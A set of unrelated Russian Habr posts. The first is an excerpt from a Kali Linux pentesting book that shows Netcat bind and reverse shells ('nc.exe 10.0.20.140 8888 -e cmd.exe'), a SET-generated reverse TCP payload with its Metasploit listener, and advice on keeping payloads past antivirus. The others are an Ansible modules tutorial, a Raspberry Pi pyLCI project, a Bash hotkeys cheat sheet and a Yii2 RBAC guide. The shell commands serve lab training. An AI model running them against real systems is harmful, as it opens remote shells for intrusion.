В командной оболочке с прямым подключением (bind) злоумышленник подключается напрямую из Kali к машине жертвы, на которой уже запущен приемник (слушатель) (рис. 5.2). В этом сценарии мы будем использовать Netcat для выполнения задачи. Этот инструмент удобен при тестировании на проникновение, решении задач по захвату флага (CTF) и сертификационных экзаменов, таких как OSCP. Мы подключимся напрямую с атакующего хоста Kali к целевому хосту с Windows10.
Если вы хотите попрактиковаться в том же упражнении со своей стороны, то двоичный файл Netcat для Windows на Kali находится в /usr/share/windows-binaries/nc.exe. Скопируйте файл nc.exe на свой хост Windows, чтобы воспроизвести результаты.
Затем запустите Netcat в режиме прослушивания, используя параметр -l; кроме того, используйте порт 9999 для прослушивания входящих подключений. После этого используйте ключ -e, чтобы перенаправить вывод командной строки на удаленное соединение:
```
PS C:\Users\gus\Documents\Shared> ./nc.exe -nlvp 9999 -e C:\Windows\
System32\cmd.exe
listening on [any] 9999 ...
```
После запуска слушателя на хосте Windows вернитесь к сеансу терминала Kali и подключитесь напрямую к ОС Windows с помощью Netcat к порту 9999:
```
root@kali:/# nc -nv 10.0.20.127 9999
(UNKNOWN) [10.0.20.127] 9999 (?) open
Microsoft Windows [Version 10.0.17763.1039]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\gus\Documents\Shared>
```
#### Обратный шелл
Шелл с обратным подключением — излюбленный вариант для пентестеров, и вы много прочитаете о нем в данной книге. Метод противоположен прямому подключению. В этом сценарии злоумышленник прослушивает входящие соединения от любой жертвы. Секрет таков: при подключении через обратную командную оболочку брандмауэры обычно пропускают трафик. Вместе с тем брандмауэр может блокировать любые входящие подключения извне на ваш слушатель. Вот почему в сообществе обычно используется обратный шелл (рис. 5.3).
Снова попрактикуемся по сценарию с обратным шеллом, используя Netcat. Сначала запустите слушатель Netcat на хосте (Kali в этом примере). Используйте порт 8888 для прослушивания входящих соединений:
```
root@kali:/# nc -nlvp 8888
listening on [any] 8888 ...
```
Затем переключитесь на хост Windows жертвы и подключитесь к слушателю на порте 8888 вашей Kali. Обратите внимание, что IP-адрес виртуальной машины Kali — 10.0.20.140:
```
PS C:\Users\gus\Documents\Shared> ./nc.exe 10.0.20.140 8888 -e C:\Windows\
System32\cmd.exe
```
Вернемся к нашему Kali-хосту, где мы должны увидеть успешное обратное подключение.
```
root@kali:/# nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.0.20.140] from (UNKNOWN) [10.0.20.127] 54479
Microsoft Windows [Version 10.0.17763.1039]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\gus\Documents\Shared>
```
#### Обратный шелл с помощью SET
Вы должны быть внимательны при обеспечении защиты своей полезной нагрузки, когда отправляете ее на целевой хост. Другими словами, вы должны убедиться, что ваш исполняемый файл полезной нагрузки не будет обнаружен антивирусным программным обеспечением, установленным на компьютере жертвы. Обязательно скопируйте полезную нагрузку на другой тестовый компьютер, на котором установлен антивирус того же типа. Если вы не знаете, какое антивирусное ПО установлено на хосте жертвы, то вам необходимо загрузить свою полезную нагрузку и просканировать его с помощью общедоступного сайта поиска вирусов VirusTotal (рис. 5.4):
```
www.virustotal.com/gui/home/upload
```
Лучший способ скрыть вашу полезную нагрузку — использовать собственную. То есть вам нужно разработать полезную нагрузку с помощью такого языка программирования, как Python, PowerShell, C# и т.. д. Позже вы узнаете больше на эту тему, но пока посмотрим, как сгенерировать полезную нагрузку с помощью SET.
Сначала запустите приложение SET и выберите следующие параметры.
● Выберите вариант № 1: Social-Engineering Attacks (Атаки методом социальной инженерии).
● Выберите вариант № 4: Create a Payload and Listener (Создание полезной нагрузки и слушателя).
● Выберите вариант № 1: Windows Shell Reverse\_TCP (Обратная командная оболочка Windows по протоколу TCP).
Затем вам будет предложено ввести IP-адрес вашего хоста Kali (злоумышленника) и номер порта, который вы хотите прослушивать. Как только вы это сделаете, он сгенерирует полезную нагрузку в /root/.set/payload.exe. Наконец, вам будет предложено запустить слушатель. В нашем примере выберите yes:
```
set:payloads> IP address for the payload listener (LHOST):10.0.20.140
set:payloads> Enter the PORT for the reverse listener:7777
[*] Generating the payload.. please be patient.
[*] Payload has been exported to the default SET directory located
under/root/.set/payload.exe
set:payloads> Do you want to start the payload and listener now? (yes/
no):yes
[*] Launching msfconsole, this could take a few to load. Be patient...
```
На данном этапе SET автоматически запускает обработчик запросов Metasploit. Мы углубимся в Metasploit позже в этой книге, и вы увидите, как создать слушатель вручную. SET сделает все за вас без лишних хлопот.
Теперь слушатель должен запуститься и ждать входящих соединений от жертвы:
```
=[ metasploit v5.0.85-dev ]
+ -- --=[ 2002 exploits — 1093 auxiliary — 342 post ]
+ -- --=[ 560 payloads — 45 encoders — 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: You can use Help to view all available commands
[*] Processing /root/.set/meta_config for ERB directives.
resource (/root/.set/meta_config)> use multi/handler
resource (/root/.set/meta_config)> set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
resource (/root/.set/meta_config)> set LHOST 10.0.20.140
LHOST => 10.0.20.140
resource (/root/.set/meta_config)> set LPORT 7777
LPORT => 7777
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.0.20.140:7777
msf5 exploit(multi/handler) >
```
Пришло время отправить полезную нагрузку на виртуальную машину хоста Windows 10 нашей жертвы и выполнить ее оттуда. Обратите внимание, что полезная нагрузка сохраняется в /root/.set/payload.exe.
Затем скопируйте файл payload.exe на хост Windows и дважды щелкните на нем, чтобы запустить его на виртуальной машине Windows. Чтобы это заработало, я должен отключить антивирусное программное обеспечение на хосте Windows 10 перед копированием файла payload.exe.
После того как файл полезной нагрузки будет выполнен на хосте Windows, слушатель Metasploit должен показать успешное соединение. Чтобы увидеть текущий открытый сеанс, используйте команду sessions. Выполнив ее, вы увидите, что есть один открытый сеанс. Чтобы взаимодействовать с этим сеансом, запустите команду sessions -i 1. Как только вы нажмете Enter, у вас будет под рукой обратная командная оболочка Windows:
```
[*] Started reverse TCP handler on 10.0.20.140:7777
msf5 exploit(multi/handler) > [*] Command shell session 1 opened
(10.0.20.140:7777 -> 10.0.20.127:54501) at 2020-05-22 11:27:38 -0400
sessions
Active sessions
===============
Id Name Type Information
Connection
-- ---- ---- -----------
----------
1 shell x86/windows Microsoft Windows [Version 10.0.17763.1039]
(c) 2018 Microsoft Corporation. A... 10.0.20.140:7777 -> 10.0.20.127:54501
(10.0.20.127)
msf5 exploit(multi/handler) > sessions -i 1
C:\Users\gus\Documents\Shared>
```
**Об авторах**
**Гас Хаваджа** — эксперт по безопасности приложений и тестированию на проникновение. Работает консультантом по кибербезопасности в Монреале и имеет большой опыт сотрудничества с организациями в проектах по защите их активов от кибератак. Является публикуемым автором и онлайн-консультантом.
**Кори Болл** — эксперт по кибербезопасности с более чем десятилетним опытом. Специализируется на API, веб-приложениях и сетях. В настоящее время имеет более десяти сертификатов по кибербезопасности, включая OSCP, CISSP, CISM и CCISO. Карьерный наставник в Cybrary по вопросам кибербезопасности и автор книги Hacking APIs.
Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/product/kali-linux-bibliya-pentestera):
» [Оглавление](https://www.piter.com/product/kali-linux-bibliya-pentestera#Oglavlenie-1)
» [Отрывок](https://www.piter.com/product/kali-linux-bibliya-pentestera#Otryvok-1)
По факту оплаты бумажной версии книги на e-mail высылается электронная книга.
Для Хаброжителей скидка 25% по купону — **Kali Linux** | https://habr.com/ru/post/688486/ | null | ru | null |
# Ansible: 30 самых важных модулей для DevOps-профессионалов (часть 3)
В [первой](https://habr.com/ru/company/southbridge/blog/707130/) части этой серии мы обсудили модули проверки подключения, установки некоторых пакетов и выполнения ряда команд на целевых узлах. Во [второй](https://habr.com/ru/company/southbridge/blog/707986/) части изучили различные модули, используемые для обработки файлов, управляющие файлами на целевых узлах.
В этой части серии мы узнаем о модуле, который используется при обработке сервиса (модуль service), модулях управления пользователями и группами (модуль user и модуль group), модуле управления cron (модуль cron), модуле печати сообщений во время выполнения плейбука (модуль debug) и модулях, включающих переменные и роли (модуль include\_vars и модуль include\_role).
Начнём…
Модуль service
--------------
Модуль service используется для управления сервисом на целевых узлах, можно запускать/останавливать/перезапускать/перезагружать сервис через этот модуль. Для целевого устройства на базе Windows можно использовать модуль win\_service.
```
---
- name: service module
hosts: all
tasks:
- name: Start service httpd, if not started
service:
name: httpd
state: started
- name: Stop service httpd, if started
service:
name: httpd
state: stopped
- name: Restart service httpd, in all cases
service:
name: httpd
state: restarted
- name: Reload service httpd, in all cases
service:
name: httpd
state: reloaded
```
Модуль user
-----------
Модуль user используется для управления пользователями на целевых узлах. На сервисной панели пользовательский модуль использует команды useradd для добавления, usermod для изменения и userdel для удаления пользователей. Можно определить идентификатор пользователя, группу, оболочку, пароль и т.д. Для целевого устройства на базе Windows можно использовать модуль win\_user.
```
---
- name: user module
hosts: all
tasks:
- name: Add the user 'johnd' with a specific uid and group of 'admin'
user:
name: johnd
comment: John Doe
uid: 1040
group: admin
- name: Add the user 'james' with a bash shell, appending the group 'admins' and 'developers' to the user's groups
user:
name: james
shell: /bin/bash
groups: admins,developers
append: yes
- name: Remove the user 'johnd'
user:
name: johnd
state: absent
remove: yes
- name: Create a 2048-bit SSH key for user jsmith in ~jsmith/.ssh/id_rsa
user:
name: jsmith
generate_ssh_key: yes
ssh_key_bits: 2048
ssh_key_file: .ssh/id_rsa
- name: Added a consultant whose account you want to expire
user:
name: james18
shell: /bin/zsh
groups: developers
expires: 1422403387
```
Модуль group
------------
Модуль group используется при управлении группами на целевых узлах. На серверном уровне этот модуль использует groupadd для создания, groupmod для изменения и groupdel для удаления групп. Для целевого устройства на базе Windows можно использовать модуль win\_group.
```
---
- name: group module
hosts: all
tasks:
- name: Ensure group "somegroup" exists
group:
name: somegroup
state: present
- name: Ensure group "docker" exists with correct gid
group:
name: docker
state: present
gid: 1750
- name: deleting a group
group:
name: groupA
state: absent
```
Модуль cron
-----------
Модуль cron используется для управления записями crontab и определения переменных среды.
```
---
- name: cron module
hosts: all
tasks:
- name: Ensure a job that runs at 2 and 5 exists. Creates an entry like "0 5,2 * * sh script.sh"
cron:
name: "check dirs"
minute: "0"
hour: "5,2"
job: "sh script.sh"
- name: 'Delete a job from the crontab'
cron:
name: "an old job"
state: absent
- name: Creates an entry like "APP_HOME=/srv/app" and insert it after PATH declaration
cron:
name: APP_HOME
env: yes
job: /srv/app
insertafter: PATH
```
Модуль debug
------------
Модуль debug используется для вывода инструкции во время выполнения плейбука и может быть полезен при отладке переменных или выражений. Можно использовать свойство msg для отображения пользовательского сообщения и свойство var для отображения переменной.
```
---
- name: debug module
hosts: all
tasks:
- name: Print a simple statement
debug:
msg: "Hello World! A custom message"
- name: Get uptime information
shell: /usr/bin/uptime
register: result
- name: Print return information from the previous task
debug:
var: result
verbosity: 2
```
Модуль include\_vars
--------------------
Модуль include\_vars может использоваться для динамической загрузки переменной из файла или каталога во время выполнения задачи. Следует иметь в виду, что любая переменная, установленная с помощью set\_fact, не будет перезаписана с помощью include\_vars.
```
---
- name: include_vars module
hosts: all
tasks:
- name: include a variable file
include_vars:
file: name_vars.yml
- name: include a variable file conditionally
include_vars:
file: vars-Debian.yml
when: ansible_os_family == 'Debian'
- name: Include all .yaml files in vars directory except bastion.yaml
include_vars:
dir: vars
ignore_files:
- 'bastion.yaml'
extensions:
- 'yaml'
```
[**Курс «Ansible: Infrastructure as Code»**](https://slurm.io/ansible?utm_source=habr&utm_medium=article&utm_campaign=ansible&utm_content=article_10-01-2023&utm_term=annavanna22)
Модуль include\_roles
---------------------
Этот модуль динамически загружает и выполняет указанную роль в качестве задачи.
```
---
- name: include_roles module
hosts: all
tasks:
- name: include role myrole
include_role:
name: myrole
- name: Run tasks/other.yaml instead of main.yaml
include_role:
name: myrole
tasks_from: other
- name: Pass variables to role
include_role:
name: myrole
vars:
rolevar1: value from task
- name: Conditional role
include_role:
name: myrole
when: not idontwanttorun
```
В этой серии мы рассмотрели самые важные модули Ansible. С их помощью вы можете настроить IT-инфраструктуру, а также автоматизировать вашу IT-среду.
[**Курс «DevOps Tools»**](https://slurm.io/devops-tools-to-dev?utm_source=habr&utm_medium=article&utm_campaign=devops-tools-to-dev&utm_content=article_10-01-2023&utm_term=annavanna22) | https://habr.com/ru/post/709860/ | null | ru | null |
# Как я существенно облегчил работу с Raspberry Pi («всё новое — хорошо забытое старое»)
*-Как начать работу с Raspberry Pi?
-Залить на SD-карту образ, подключить к питанию и пойти в магазин докупить всё, чего не хватает.*
Raspberry Pi в стандартной поставке — не подарок. По крайней мере, если вы собрались подарить Pi кому-то на этот Новый Год, удостоверьтесь, что счастливому получателю будет доступен комплект клавиатура-монитор-мышь, или хотя бы USB-UART адаптер.
Что же делать, если хочется заняться своим проектом, но есть только плата и к ней проблематично подключить хоть что-либо? Я мучался с такого рода проблемами 3 года, пока не разработал pyLCI. О том, как начать использовать pyLCI и что оно даёт, я и расскажу сегодня.
**О каких проблемах я говорю?**Начнём с подключения к Pi. Есть много способов, и у каждого свои недостатки.
```
USB-UART
Требует наличия USB-UART (ещё и на 3.3V)
Требует компьютера с совместимыми драйверами (FTDI, я смотрю на вас)
Монитор(composite/HDMI)+мышь+клавиатура
Требует наличия всего этого добра (монитор ещё и с HDMI), да ещё и питания 220
Компактные варианты либо дороги, либо неудобны
Часто избыточно - подключать кучу всего, чтобы узнать IP?
Монитор должен быть подключен при старте
Ethernet
Требует роутер или DHCP-сервер на компе или Pi
Нужно искать IP, что не всегда легко (они ещё и меняются!)
Нужно Ethernet-подключение к сети ()
WiFi и wpa_supplicant.conf на boot разделе
Плохо документирован
Нужно искать IP (опять!)
Трудно дебажить (ой, WiFi переопределился как wlan2 и не подрубается...)
```
Как сделать интерфейс для своего умного дома/медиацентра/робота?
```
GUI
Требуется монитор или VNC
Для VNC требуется отдельный компьютер
Для совсем урезанного GUI нужно ещё и добавлять стандартные функции (Shutdown/Reboot/WiFi/IP/shell commands)
SSH+CLI
Требуется отдельный компьютер
Требуется сетевое подключение
Хорошее знание команд крайне желательно
WEB
Требуется отдельное устройство и сетевой доступ к нему
Нужно добавлять стандартные функции либо дополнительно устанавливать Webmin/Ajenti/whatever
```
За три года, что я работаю с Raspberry Pi, я обучился Linux, программированию на Python и использованию всего этого для создания различных интересных устройств. Всё это время я натыкался на одни и те же проблемы, корень которых в том, что у Raspberry Pi нету простых встроенных методов взаимодействия с ОС — к примеру, встроенных монитора/клавиатуры. В результате подключить к WiFi какой-нибудь ноутбук с Linux просто, а для Raspberry Pi нужно использовать дополнительное железо, копаться с командами или таскать мониторы. Этого, как по мне, пока не избежать, но можно решить минимальным количеством усилий.
Чем больше я разрабатывал различных проектов, тем больше различных решений пробовал. За это время я использовал:
* UART через Bluetooth (HC-05)
* Просто UART
* SSH
* Полноразмерный монитор
* Кнопки на GPIO
* Аудио оповещения
* Дисплей, показывающий IP
Всё не то. Получающиеся решения в какой-то момент ясно показывали свои ограничения, да и со всем тем железом, что я использовал, можно было достичь куда большего. Во что в итоге сформировались мои требования?
* **Интерфейс должен быть дешёвым.** Покупать дополнительное железо всегда проблематично, поэтому чем меньше цена, тем легче оборудовать интерфейсом проект.
* **Интерфейс должен быть универсальным.** Самое дешёвое железо — то, что уже куплено или можно откуда-то выпаять.
* **Интерфейс должен быть простым.** Чем проще он для использования, тем большего можно достичь.
---
В итоге — в прошлом (2015) году я начал проект, использующий дешёвые дисплеи и кнопки и дающий мне возможность задействовать базовые функции Raspberry Pi. Казалось бы, идея очень простая — такие интерфейсы были довольно долгое время популярны в различных устройствах — но при поиске готовых решений под Linux был виден только LCDProc, который больше всё-таки status monitor. Большая часть людей, которые хотели использовать такой интерфейс, колхозили что-то на Питоне с готовыми либами для дисплеев и как-то работающим кодом навигации, порой даже не вынесенным в классы для повторного ипользования.
В апреле этого года, кучу проектов и множество ошибок спустя, я допилил проект до версии 1.0, назвал **pyLCI** и [выложил на ГТ](https://geektimes.ru/post/273794/) на всеобщее обозрение. С того момента многое изменилось — pyLCI использовался в каждом моём Raspberry Pi-проекте, добавлялись фичи, пропадали баги, а изредка я получал письма с вопросами о каких-то нюансах pyLCI. Теперь моя цель — рассказать об этом проекте всем, кому он может оказаться полезен.
Что из себя представляет pyLCI?
-------------------------------
pyLCI — это простой интерфейс для настройки и управления функциями Raspberry Pi, использующий 2x16 экраны, кнопки и Python. Он простой, дешёвый и удобный в использовании.
Установить pyLCI легко — ставишь shield за 5$ на Pi, скачиваешь pyLCI на Pi и ставишь в автозагрузку прилагающимся скриптом.
### Примеры использования
Под спойлерами — красивые гифки pyLCI в работе.
**Получение IP**
**Выключение/ребут**
**Подключение к WiFi в McDonalds**
**Ввод пароля для WiFi**
**Запуск своего скрипта**
**Отмонтирование флешки**
**Просмотр USB устройств**
**Перезапуск упавшего сервиса**
**Своё приложение (Pomodoro таймер)**
### Где можно использовать pyLCI?
1. На личной/домашней Raspberry Pi для более простого подключения к ней и выполнения каких-то рутинных задач.
2. При использовании Raspberry Pi для обучения (к примеру, значительно сократив бюджет на периферию и время на "подключение к Raspberry Pi" в начале урока)
3. При разработке решений на Raspberry Pi (поднять упавший контроллер escape-room и перезапустить сервис, не доставая компьютер — бесценно)
4. Для своего переносного компьютера на Pi (что толку от Pi, работающей 10 часов от батареи, если её нельзя подключить к WiFi)
5. На своей рабочей Pi как вспомогательный интерфейс (переключать музыку/менять громкость, пока смотришь что-то в интернете)
### Какое железо нужно для интерфейса?
Простой ответ — берите такой шилд с Китая:
Стоит около 5 долларов, а работает безотказно.
**Хочется чего-то качественного или же нужно срочно?**Тогда можно взять шилд от Adafruit:
Дороже, но качественнее выполнен и ждать доставки не придётся (шилд из Китая — почти полная копия этого).
**Хочется собрать что-то из того, что есть на месте!**#### Дисплеи
Нужен простой дисплей, совместимый с командами HD44780, минимальный размер — 16x2, поддерживаются дисплеи разных размеров. Вот такого типа:
Дисплей можно подключить через GPIO (займёт 6 контактов на Raspberry Pi) или I2C. Такие дисплеи часто попадаются во всяких Starter Kits, доступны в каждом мало-мальски себя уважающем магазине/рынке электроники и стоят 2$ с бесплатной доставкой из Китая.
#### Кнопки/клавиатуры
Нужно как минимум 5 кнопок. Их можно подключать через GPIO, I2C-GPIO экспандеры или же использовать USB HID устройства — типа таких numpad-ов:
### Разработка своих приложений
pyLCI — это UI-фреймворк, который предоставляет различные UI-элементы для ускорения разработки и даже позволяет полностью встроить своё приложение в pyLCI. Для сложных приложений, которые нужно запускать отдельно, есть отработанный подход — внедрить в него какой-либо RPC-интерфейс и написать pyLCI-приложение, предоставляющее UI и дёргающее RPC-функции.
#### Hello World:
```
menu_name = "Hello world"
from ui import Printer
#Callback global for pyLCI
callback = None
#Some globals for us
i = None
o = None
def init_app(input, output):
global callback, i, o
i = input; o = output
callback = lambda: Printer("Hello world!", i, o)
```
Что для чего:
* `menu_name` — Название приложения в главном меню
* `i` — [устройство ввода](http://pylci.readthedocs.io/en/latest/input.html#inputlistener), ловит нажатия кнопок и вызывает заданные на них callbacks.
* `o` — [устройство вывода](http://pylci.readthedocs.io/en/latest/output.html#screen-object), оперирует дисплеем.
* `Printer` — [функция простого вывода данных на дисплей](http://pylci.readthedocs.io/en/latest/ui/printer.html). Использует i и o, имеет разные полезные параметры и способы вызова.
* `init_app` — функция приложения, вызываемая при старте pyLCI. Передаёт приложению i и o, в ней обычно создаются главные UI-элементы приложения.
* `callback` — функция, вызываемая при активации приложения. Обычно активирует главное меню приложения, в нашем случае просто вызывает Printer с нашим сообщением.
Документация на различные доступные UI элементы [есть на ReadTheDocs](http://pylci.readthedocs.io/en/latest/ui.html), к тому же много примеров использования можно увидеть в [уже написанных приложениях](https://github.com/CRImier/pyLCI/blob/master/apps).
### Добавление фич
В последнее время я часто добавляю различные возможности и чиню баги. Документ с планами на будущее [доступен здесь](http://pylci.readthedocs.io/en/latest/plans.html), но если вам сильно не хватает какой-либо функции или приложения, пишите мне на почту (crimier yandex ru) или [в issues на Гитхабе](https://github.com/CRImier/pyLCI/issues), смогу помочь.
### Полезные ссылки
* [Проект на Hackaday.io](https://hackaday.io/project/10001-pylci-linux-control-interface) — там я описывал процесс разработки, а теперь рассказываю о новых фичах
* [Документация](http://pylci.rtfd.org)
* [Github](https://github.com/CRImier/pyLCI)
*Разработка проекта телефона на Pi Zero, используя pyLCI для изменения настроек системы без подключения по SSH* | https://habr.com/ru/post/400159/ | null | ru | null |
# Горячие клавиши в терминале Linux
Давным-давно, такие слова как "hot keys" и "keyboard shortcuts" мне не всегда удавалось перевести на русский без потери лица. Как-то раз, я написал "клавиатурные сокращения", чем сразу же привлёк косые взгляды и вызвал смелые медицинские фантазии... Но вроде бы сейчас принято везде говорить и писать "горячие клавиши". О них и поговорим.
Данная заметка — шпаргалка по линуксовой оболочке Bash и смежным компонентам. Часть приводимых ниже команд относится к библиотеке [Readline](https://tiswww.case.edu/php/chet/readline/rltop.html), часть — к [сигналам](https://linux.die.net/Bash-Beginners-Guide/sect_12_01.html) Linux, однако такие подробности нам здесь не важны. Если вам приходится часто иметь дело с терминалом в Linux (и вы не меняли Bash на другой шелл), то будет очень полезно использовать эти самые "сокращения" на благо себе и в мирных целях. Текст написан для начинающих пользователей, но кто знает — может быть и вы найдёте в нём что-то новое и полезное для себя.
Для удобства будем считать, что по умолчанию под терминалом мы понимаем стандартную в настольной редакции Ubuntu программу "Терминал Gnome".
Вкладки
-------
В программе “Терминал Gnome” предусмотрены вкладки, и работают они аналогично вкладкам в веб-браузере или файловом менеджере. Иными словами, если вам нужно несколько терминалов, вовсе не обязательно открывать *несколько окон*. Достаточно одного окна с *несколькими вкладками*. Ниже приведены горячие клавиши, относящиеся ко вкладкам:
**Ctrl+Shift+T** — открыть новую вкладку;
**Ctrl+Shift+W или Ctrl+D** — закрыть текущую вкладку (или весь терминал, если вкладка одна);
**Ctrl+Shift+N** — открыть новое окно терминала из текущего.
Со временем вы можете оказаться в ситуации, когда вкладок станет действительно много, и тогда возникнет вопрос о навигации между ними. Вам пригодятся следующие сочетания клавиш:
**Ctrl+PgDn** — перейти на следующую (справа) вкладку;
**Ctrl+PgDn** — перейти на предыдущую (слева) вкладку;
**Ctrl+Shift+PgDn** — сдвинуть вкладку вправо;
**Ctrl+Shift+PgUp** — сдвинуть вкладку влево.
**Alt+1** — перейти на первую по счёту вкладку. Подставьте другую цифру для нужной вам вкладки. Данный способ позволяет «дотянуться» максимум до *десятой* по счёту вкладки.
Навигация
---------
Три очень часто используемые комбинации для копирования и вставки текста, а также отмены выполняющейся команды:
**Ctrl+Shift+С** — копирование в буфер обмена;
**Ctrl+Shift+V** — вставка из буфера обмена;
**Ctrl+C** — прерывание выполняющейся команды или очистка текущей строки.
Для того чтобы выделить нужный текст в терминале, вам потребуется воспользоваться мышью. Тем не менее, в программе “Терминал Gnome” имеется встроенное средство поиска текста, которое позволяет искать как по обычному фрагменту, так и по регулярному выражению:
**Ctrl+Shift+F** — вызов встроенного поиска по любому тексту в терминале.
Если команда в терминале слишком длинная, или вы сделали опечатку в начале и не сразу это заметили, вы можете вернуться в начало строки. А затем — снова в конец. Вот как это сделать:
**Ctrl+A** — переместиться в начало строки;
**Ctrl+E** — переместиться в конец строки.
В терминале Linux можно перемещаться внутри строки также по словам и по отдельным символам (в последнем случае, это аналогично использованию клавиш с боковыми стрелками):
**Ctrl+F** — переместиться на 1 символ вперед;
**Ctrl+B** — переместиться на 1 символ назад;
**Alt+F** — переместиться к следующему слову;
**Alt+B** — переместиться в начало предыдущего слова.
### Управление командами и процессами
Предыдущие команды касались навигации по терминалу и строке ввода команды. Далее стоит рассмотреть управляющие команды Bash, с помощью которых можно запускать, останавливать, ставить на паузу и возобновлять команды и процессы. Вы уже знаете, что запущенный в терминале процесс можно прервать по **Ctrl+C**, но полезно также знать и некоторые нюансы.
В терминале Linux вы можете не только завершать программы полностью, но и ставить их на паузу. Затем выполнение программы можно возобновлять, причём, как с возвратом интерактивной командной строки, так и без него:
**Ctrl+Z** — приостановка процесса;
**команда *bg*** — возобновление процесса с возвратом командной строки (процесс продолжает выполнение в фоне);
**команда *fg*** — возобновление процесса, при котором он удерживает командную строку за собой (процесс выполняется на «переднем плане»).
Процессы также можно приостанавливать и возобновлять. Запустите какую-либо команду, например `htop`, и нажмите **Ctrl+Z**. Сначала будет казаться, будто команда завершилась, но она будет числиться в списке запущенных процессов (`ps -a`) и появится вновь после ввода команды fg.
Если повторить эксперимент с графическим приложением, например, введя команду `firefox`, то можно будет использовать для его «оживления» как `fg`, так и `bg`. При любом варианте приложение останется «закреплённым» за текущим терминалом: если вы закроете его, то оно тоже завершится.
После приостановки процесса firefox в терминале рабочая среда Gnome будет считать, что приложение «не отвечает».Существует и другой тип «приостановки»: временное *прекращение вывода* выполняющейся команды. Как консольное, так и графическое приложение может быть запущено в терминале, в который будет выводиться текущая диагностическая информация. Иногда бывает очень удобно временно прекратить постоянный вывод сообщений без завершения самого приложения. Для этого пригодятся следующие сочетания клавиш:
**Ctrl+S** — прекратить обновление вывода команды;
**Ctrl+Q** — возобновить вывод команды.
### История команд
Bash умеет запоминать все введённые вами команды. Пока терминал запущен, они хранятся в оперативной памяти компьютера, а при выходе из терминала записываются в долговременное хранилище в файле `~/.bash_history`.
Если вы точно знаете, что вводили нужную вам команду раньше, поищите её в истории:
`history` — вывод истории команд;
Если вы помните хотя бы часть команды, поиск можно уточнить:
`history | grep <часть команды>` — пример уточняющего поиска по истории командам.
У каждой команды в истории есть номер. Введите этот номер, поставив вначале восклицательный знак, и Bash выполнит соответствующую команду:
`!151` — выполнить команду под номером 151 из истории;
`!151:` — показать команду номер 151, но не выполнять её;
`!!` — повторно выполнить последнюю введенную команду.
В Bash имеется интерактивный режим поиска по истории команд. Нажмите **Ctrl+R** и начните набирать часть команды. Bash сам предложит вам первый совпадающий вариант. Если он не подходит, нажимайте **Ctrl+R** дальше для перебора вариантов. Когда нужный вариант будет найден, нажмите **Enter**.
Интересно, что у этой клавиши ввода есть два аналога — вместо **Enter** можно нажать **Ctrl+M** или **Ctrl+J**.
Самый простой способ перемещаться по истории команд — стрелки «вверх» и «вниз» на клавиатуре. Они тоже имеют дубликаты:
**Ctrl+P** — вывести предыдущую команду;
**Ctrl+N** — вывести следующую команду.
### Редактирование команд
Самое время рассмотреть средства редактирования команд — они в Bash весьма продвинутые. Удобное перемещение в начало и конец строки, выборочное удаление символов и слов — это лишь часть возможностей, которые могут пригодиться пользователю. За редактирование команд отвечают следующие сочетания клавиш:
**Ctrl+U** — удалить весь текст слева от курсора;
**Ctrl+K** — удалить весь текст справа от курсора;
**Ctrl+W** — удалить 1 слово или параметр слева от курсора;
**Ctrl+D** — удаление текущего символа (аналогично **Del**);
**Ctrl+H** — удаление предыдущего символа (аналогично **Backspace**);
**Alt+D** — удалить всё справа от курсора до ближайшего пробела;
**Alt+Backspace** — удалить всё слева от курсора до ближайшего пробела;
**Alt+T** — поменять местами текущее слово с предыдущем;
**Esc+T** — поменять местами два предыдущих слова;
**Tab** — автодополнение команды после ввода её первых символов.
Ещё одна любопытная деталь: у Bash имеется собственный буфер обмена, который работает независимо от стандартного буфера (как мы помним, копирование по **Ctrl+Shift+C**, вставка по **Ctrl+Shift+V**). Это важно, поскольку у первых трёх команд из предыдущего списка есть дополнительные функции: они не просто удаляют часть текста, но и копируют его в тот самый отдельный буфер обмена Bash. Поэтому, будет справедливо уточнить:
**Ctrl+U** — вырезать и поместить в буфер обмена весь текст слева от курсора;
**Ctrl+K** — вырезать и поместить в буфер обмена весь текст справа от курсора;
**Ctrl+W** — вырезать и поместить в буфер обмена 1 слово или параметр слева от курсора;
Кстати, для вставки скопированного текста обратно сработает комбинация **Ctrl+Y**.
Напоследок
----------
Конечно, выше я описал не все горячие клавиши: их гораздо больше, и полное описание содержало бы в себе кучу бородатой экзотики, унаследованной из древних университетских времён UNIX. В любом случае, не забывайте про `man bash` (например, там есть замечательный раздел *Commands for Moving*) и про `bind -P`. | https://habr.com/ru/post/663758/ | null | ru | null |
# Yii2-advanced: Гибкая настройка Yii2 RBAC (роли, разрешения, правила)
### У админа может и не быть доступа к разрешению пользователя и в пределах одной роли пользователи могут иметь разный доступ к разрешениям
#### Как организовать сущности Role,Permission,Rule
Роли (role): типовые роли supper\_admin,admin,customer (сотрудник, менеджер),user (авторизированный пользователь),guest (не авторизированный пользователь). Роль supper\_admin наследует от всех ролей разрешения благодаря этому supper\_admin имеет доступ ко всем permission не зависимо от их наличия в конкретной роли но требуется пропуск во всех правилах;
Разрешения (permission): роль является прямым родителем разрешения, без наследования (кроме роли supper\_admin).Другими словами, одно и тоже разрешение будет назначаться каждой нужной роли.
Правила (Rule): правила для ролей и для разрешений наследуются от BaseRole в котором присутствует проверка общих правил.
**От вас потребуется закодировать админку для ролей , разрешений , разрешений пользователя.**Что там должно быть:
Админка для ролей.
Добавление, удаление, обновление разрешений.
Админка для разрешений.
Добавление, удаление.
Админка разрешения пользователя.
Тут должна быть возможность конкретному пользователю по мимо его разрешений и запрещающих разрешений назначить или снять определенное разрешение или запрещающее разрешение.По поводу запрещающих разрешений будет пояснение дальше.
```
Подключение компонента:
'components' => [
....
'authManager' => [
'class' => 'yii\rbac\DbManager',
'itemTable' => 'auth_item',
'itemChildTable' => 'auth_item_child',
'assignmentTable' => 'auth_assignment',
'ruleTable' => 'auth_rule',
'defaultRoles' => ['guest'],// роль которая назначается всем пользователям по умолчанию
],
....]
```
Главное найти место в проекте где будет располагаться проверка, так как от этого зависят имена разрешений которые будут проверятся.
